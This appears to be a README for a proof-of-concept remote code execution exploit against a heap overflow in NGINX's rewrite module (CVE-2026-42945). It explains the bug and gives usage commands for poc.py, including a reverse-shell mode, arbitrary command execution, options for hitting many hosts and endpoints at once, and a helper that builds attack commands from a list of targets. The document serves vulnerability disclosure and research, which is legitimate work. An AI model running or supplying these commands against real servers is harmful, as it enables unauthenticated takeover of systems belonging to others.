RCE Proof of concept for CVE-2026-42945, a critical heap buffer overflow in NGINX's ngx_http_rewrite_module introduced in 2008. The bug enables unauthenticated remote code execution against servers using rewrite and set directives.
This vulnerability — along with three other memory corruption issues (CVE-2026-42946, CVE-2026-40701, CVE-2026-42934) — was autonomously discovered by depthfirst's security analysis system after a single click of onboarding the NGINX source.
Want to find issues like this in your own code? Try the same system at https://depthfirst.com/open-defense.
NGINX's script engine uses a two-pass process: first compute the required buffer size, then copy data in. The is_args flag is set on the main engine when a rewrite replacement contains ?, but the length-calculation pass runs on a freshly zeroed sub-engine. So:
- Length pass sees
is_args = 0→ returns raw capture length. - Copy pass sees
is_args = 1→ callsngx_escape_uriwithNGX_ESCAPE_ARGS, expanding each escapable byte to 3 bytes.
The copy overflows the undersized heap buffer with attacker-controlled URI data. Exploitation uses cross-request heap feng shui to corrupt an adjacent ngx_pool_t's cleanup pointer (sprayed via POST bodies, since URI bytes can't contain null bytes), redirecting it to a fake ngx_pool_cleanup_s invoking system() on pool destruction.
Read more about this bug in our technical write-up.
Full vendor advisory: https://my.f5.com/manage/s/article/K000160932
Tested on Ubuntu 24.04.3 LTS.
./setup.sh— build the container.docker compose -f env/docker-compose.yml up— start the vulnerable NGINX server.python3 poc.py --shell— run the PoC against the default target (127.0.0.1:19321).
Run a command instead of a reverse shell:
python3 poc.py --cmd idRun against a specific host and port:
python3 poc.py --cmd id --host 127.0.0.1 --port 19321Run against multiple targets by repeating --target:
python3 poc.py --cmd id \
--target 127.0.0.1:19321 \
--target 10.0.0.5:8080 \
--target example.com:80--target takes HOST:PORT and can be provided multiple times. If no --target is provided, poc.py falls back to --host and --port.
Run against multiple trigger endpoints by repeating --endpoint:
python3 poc.py --cmd id \
--endpoint /api/{payload} \
--endpoint /v1/rewrite/{payload} \
--endpoint /legacy/api--endpoint takes a request path. If it contains {payload}, the payload is substituted there. Otherwise, the payload is appended as a path segment. If no endpoint is provided, poc.py uses /api/{payload}.
You can also load trigger endpoints from a file with --endpoints-file. Use one endpoint per line; blank lines and # comments are ignored.
Example endpoints.txt:
/api/{payload}
/v1/rewrite/{payload}
/legacy/api
Run with the endpoint file:
python3 poc.py --cmd id --endpoints-file endpoints.txtmake_poc_command.py reads a file containing one host port pair per line and prints the final poc.py command.
Example targets.txt:
127.0.0.1 19321
10.0.0.5 8080
example.com 80
Generate a command for --cmd mode:
python3 make_poc_command.py targets.txt --cmd idOutput:
python3 poc.py --cmd id --target 127.0.0.1:19321 --target 10.0.0.5:8080 --target example.com:80Generate a command for reverse shell mode:
python3 make_poc_command.py targets.txt --shell --listen-ip 172.17.0.1 --listen-port 1337